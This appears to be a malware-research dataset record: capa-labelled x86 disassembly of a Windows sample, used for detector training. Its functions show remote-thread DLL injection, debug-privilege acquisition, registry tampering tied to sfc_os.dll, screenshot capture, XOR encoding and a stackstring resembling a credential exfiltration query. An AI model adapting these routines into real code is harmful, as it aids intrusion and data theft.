joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1021d59c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1021d605
lea eax, [ebp - 0xc]
push eax
push 0x1021c240
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1021d5fc
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1021d5fc
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1021d728
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [esp + 8]
xor edx, edx
add cl, 0x22
cmp dword [esp + 8], edx
not cl
jle 0x1021d752
push ebx
mov eax, dword [esp + 8]
mov bl, dl
add eax, edx
not bl
xor bl, byte [eax]
xor bl, cl
inc edx
cmp edx, dword [esp + 0xc]
mov byte [eax], bl
jl 0x1021d73a
pop ebx
push 1
pop eax
ret

Function at 0x1021d7f1
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.1021e888
mov ebx, dword [ebp + 8]
pop ecx
mov esi, eax
push 0x40
inc esi
push 0x1000
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1021d85a
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1021d85a
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x1021d85a
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x4000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp + 0xc], 0
pop edi
pop esi
pop ebx
je 0x1021d87a
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x1021d8a6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1021e922
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
call fcn.1021e8ef
add esp, 0x10
leave
ret

Function at 0x1021d8e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x104]
push 0x1021c2b4
push eax
call fcn.1021e922
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1021e922
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
call fcn.1021e8ef
add esp, 0x18
leave
ret
Function at 0x1021d933
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
cmp esi, edi
jne 0x1021d94f
push 1
pop edi
jmp 0x1021d96d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1021d95f
push 1
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret

Function at 0x1021d972
Capabilities:
Contain obfuscated stackstrings
Disable system features via registry on windows
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x313]
mov byte [ebp - 0x314], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x314]
push 0x1021c304
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push ebx
push 0x1021c2cc
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push 4
push eax
push 4
push ebx
push 0x1021c2c0
push dword [ebp - 4]
mov dword [ebp - 8], 0xffffff9d
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3e
xor eax, eax
pop ecx
lea edi, [ebp - 0x101]
mov byte [ebp - 0x10c], 0x73
mov byte [ebp - 0x10b], 0x66
mov byte [ebp - 0x10a], 0x63
mov byte [ebp - 0x109], 0x5f
mov byte [ebp - 0x108], 0x6f
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x2e
mov byte [ebp - 0x105], 0x64
mov byte [ebp - 0x104], 0x6c
mov byte [ebp - 0x103], 0x6c
mov byte [ebp - 0x102], bl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
jne 0x1021da8c
xor eax, eax
jmp 0x1021dabc
push 5
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x51c]
push eax
push dword [ebp + 8]
call fcn.1021d672
lea eax, [ebp - 0x51c]
push 0xffffffffffffffff
push eax
push ebx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1021db58
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfa
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret
Function at 0x1021dcf7
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push closesocket
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1021dda4
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push esi
push 0xfffffffffffffffc
push ebx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [esp + 0x18]
push esi
push eax
lea eax, [esp + 0x18]
push 4
push eax
push ebx
call edi
cmp dword [esp + 0x10], 0x135a052a
jne 0x1021dd9d
push 2
push esi
push 0xfffffee4
push ebx
call ebp
lea eax, [esp + 0x18]
push esi
push eax
mov esi, 0x100011c0
push 0x118
push esi
push ebx
call edi
mov edi, 0x1021cb28
push edi
call sub.MSVCRT.dll_strlen
push eax
push edi
push 0x118
push esi
call fcn.1021dcc4
mov esi, dword [0x100011c4]
add esp, 0x14
shl esi, 7
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp esi, eax
jbe 0x1021dda8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1021ddea
mov eax, 0xfffffee4
push 2
sub eax, esi
push 0
push eax
push ebx
call ebp
lea eax, [esp + 0x18]
push 0
push eax
mov ebp, 0x100012d8
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call sub.MSVCRT.dll_strlen
push eax
push edi
push esi
push ebp
call fcn.1021dcc4
add esp, 0x14
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x100011c4]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1021ea7c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
push 1
pop ebx
xor esi, esi
lea eax, [ebp - 0x34]
push esi
push eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call sub.gdiplus.dll_GdiplusStartup
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push eax
push 2
push dword [ebp + 8]
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
lea eax, [ebp - 0x1c]
mov word [ebp - 0x1c], 0x69
push eax
lea eax, [ebp - 0x84]
push eax
mov word [ebp - 0x1a], 0x6d
mov word [ebp - 0x18], 0x61
mov word [ebp - 0x16], 0x67
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x2f
mov word [ebp - 0x10], 0x6a
mov word [ebp - 0xe], 0x70
mov word [ebp - 0xc], 0x65
mov word [ebp - 0xa], 0x67
mov word [ebp - 8], si
call fcn.1021e9ff
mov esi, eax
lea edi, [ebp - 0x64]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x64]
lea edi, [ebp - 0x74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x1021cb74]
push dword [ebp + 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x28c], eax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x288]
rep stosd dword es:[edi], eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x28c]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_mbstowcs]
mov esi, 0x1021d35c
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0x18
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], 4
push eax
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x24], 0xa
lea eax, [ebp - 0x28c]
push eax
push dword [ebp - 4]
call sub.gdiplus.dll_GdipSaveImageToFile
push dword [ebp - 4]
call sub.gdiplus.dll_GdipDisposeImage
push dword [ebp - 0x20]
call sub.gdiplus.dll_GdiplusShutdown
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1021ed26
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push closesocket
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1021ed4b
xor eax, eax
jmp 0x1021ed5e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x1021f8fd
Capabilities:
Create thread

Disassembly:
xor eax, eax
push esi
push eax
push eax
push eax
push 0x1021f862
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x1021f924
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x10001c2c], 0
jne 0x1021f99e
call fcn.1021f335
test eax, eax
jne 0x1021f949
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1021f92d
lea eax, [ebp - 0x208]
mov dword [0x100015dc], 1
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x208]
push 0x10001c9c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x1021cc0c
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x208]
push 0
push eax
push 0x100017ec
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x1021f9a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], dl
mov dword [ebp - 4], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10001c50], edx
mov esi, 0x100015e4
mov ebx, 0x3e8
mov eax, dword [0x10001c50]
cmp eax, dword [ebp + 0xc]
jae 0x1021fa8c
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x10001c9c
push esi
call sub.MSVCRT.dll_strcat
mov eax, dword [0x100015e0]
inc eax
push eax
push esi
lea eax, [ebp - 0x310]
push 0x1021cc1c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
inc dword [0x100015e0]
lea eax, [ebp - 0x310]
push 0x1021cc14
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x108]
push eax
call fcn.1021fe57
add esp, 0x2c
test eax, eax
je 0x1021fa6c
mov dword [ebp - 4], 1
mov dword [0x100015dc], 2
jmp 0x1021fa8c
lea eax, [ebp - 0x108]
push eax
call fcn.1021eba3
test eax, eax
pop ecx
je 0x1021fa89
push ebx
mov dword [ebp - 4], 1
call edi
jmp 0x1021fa60
push ebx
call edi
inc dword [0x10001c50]
cmp dword [0x10001c50], 8
jb 0x1021f9dd
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1021fd45
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and byte [ebp - 0x11], 0
and byte [ebp - 6], 0
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x57
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x77
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
je 0x1021fdba
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x1021fdc1
xor eax, eax
jmp 0x1021fe54
push esi
push edi
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
push ebx
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push esi
push ebx
mov dword [ebp + 8], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp + 8]
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push ebx
call eax
add esp, 0xc
push dword [ebp - 4]
push edi
call esi
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
push edi
call esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1021ea7c
pop ecx
pop ecx
push dword [ebp + 8]
call esi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1021fe57
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1021fb1e
mov esi, eax
test esi, esi
mov dword [ebp - 4], esi
je 0x1021ff22
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
xor edi, edi
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
cmp eax, 0x20
jge 0x1021fea1
cmp edi, 9
je 0x1021ff22
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x1021fe7f
push dword [ebp + 8]
push esi
call fcn.1021fd45
pop ecx
test eax, eax
pop ecx
jne 0x1021ff49
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x14]
push eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 8]
xor eax, eax
sub ecx, dword [ebp - 0x10]
push 0xcc0020
push eax
push eax
push esi
push ecx
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
push ecx
push eax
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
jne 0x1021ff26
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push esi
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
jmp 0x1021ff57
push dword [ebp + 8]
push ebx
call fcn.1021ea7c
pop ecx
pop ecx
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push esi
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x102202a1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9d0
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x1b7]
mov byte [ebp - 0x1b8], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x5c3]
mov byte [ebp - 0x5c4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x6c3]
mov byte [ebp - 0x6c4], bl
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
stosb byte es:[edi], al
je 0x102207da
lea eax, [ebp - 0x1b8]
push eax
lea eax, [esi + 0xac]
push eax
call fcn.1021dc43
lea eax, [ebp - 0x5c4]
push eax
lea eax, [esi + 0xec]
push eax
call fcn.1021dc43
push esi
call fcn.1021ddf0
lea eax, [esi + 0x5c]
push eax
call fcn.1021ddf0
lea eax, [esi + 0x84]
push eax
mov dword [ebp - 0x78], eax
call fcn.1021ddf0
lea eax, [ebp - 0x6c4]
push eax
lea eax, [esi + 0x12c]
push eax
call fcn.1021dc43
add esp, 0x24
call fcn.1021fb05
mov dword [ebp + 8], eax
call fcn.10222eee
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x3bf]
mov byte [ebp - 0x3c0], bl
mov byte [ebp - 0x9d0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xc2
xor eax, eax
lea edi, [ebp - 0x9cf]
push 0x1021cc5c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x3d
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x26
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x16], 0x3d
mov byte [ebp - 0x15], 0x25
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x26
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x3d
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x26
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], 0x3d
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x26
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], 0x3d
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], bl
stosb byte es:[edi], al
jmp fcn.1022e984
pop edi
pop esi
pop ebx
leave
ret
Function at 0x102209ac
Capabilities:
Copy file
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push 0x1021cca8
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.1021d8a6
mov esi, dword [ebp + 8]
add esp, 0x14
lea eax, [ebp - 0x108]
push ebx
push eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10220af5
push 1
pop edi
cmp dword [esi], edi
jne 0x10220ae4
cmp dword [esi + 0x10c], ebx
jne 0x10220ae6
lea eax, [ebp - 0x108]
push eax
call fcn.1021d542
cmp eax, ebx
pop ecx
mov dword [esi + 0x10c], eax
jbe 0x10220ade
push ebx
push 0x80
push 3
push ebx
push edi
lea eax, [ebp - 0x108]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
mov dword [ebp - 4], ebx
je 0x10220ae4
mov eax, dword [esi + 0x10c]
add eax, 0x10
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [esi + 0x108], eax
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [esi + 0x10c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, edi
jne 0x10220ab9
push dword [esi + 0x10c]
push dword [esi + 0x108]
call fcn.1021d728
pop ecx
pop ecx
jmp 0x10220ad3
push dword [esi + 0x108]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov dword [esi + 0x108], ebx
mov dword [esi + 0x10c], ebx
xor edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10220ae6
mov dword [esi + 0x10c], ebx
xor edi, edi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10220afa
Capabilities:
Copy file
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [esi], 1
jne 0x10220c45
lea eax, [esi + 4]
push eax
mov dword [ebp - 4], eax
call fcn.1021d7c3
test eax, eax
pop ecx
jne 0x10220c45
cmp dword [esi], 1
jne 0x10220c45
xor ebx, ebx
cmp dword [esi + 0x10c], ebx
jbe 0x10220c45
cmp dword [esi + 0x108], ebx
je 0x10220c45
push 0x40
lea edi, [ebp - 0x10b]
pop ecx
mov byte [ebp - 0x10c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x10c]
push 0x1021ccc4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1021d8a6
add esp, 0x14
lea eax, [ebp - 0x10c]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
mov dword [ebp - 8], ebx
je 0x10220c41
mov eax, dword [esi + 0x10c]
add eax, 0x10
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [esi + 0x10c]
mov edi, eax
push dword [esi + 0x108]
push edi
call fcn.1021e9d7
push dword [esi + 0x10c]
push edi
call fcn.1021d7b3
add esp, 0x18
lea eax, [ebp - 8]
push ebx
push eax
push dword [esi + 0x10c]
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
push eax
call fcn.10221053
pop ecx
lea eax, [ebp - 0x10c]
push ebx
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, esi
jmp 0x10220c48
xor eax, eax
jmp 0x10220c48
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10220c4d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov al, byte [0x102021a0]
push esi
push edi
push 0x40
mov byte [ebp - 0x104], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10220ce1
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.1021e944
pop ecx
test eax, eax
pop ecx
jl 0x10220cc8
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 0xc]
call fcn.1021e8ef
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.1021e8ef
add esp, 0x10
lea eax, [ebp - 0x244]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10220c8a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
leave
ret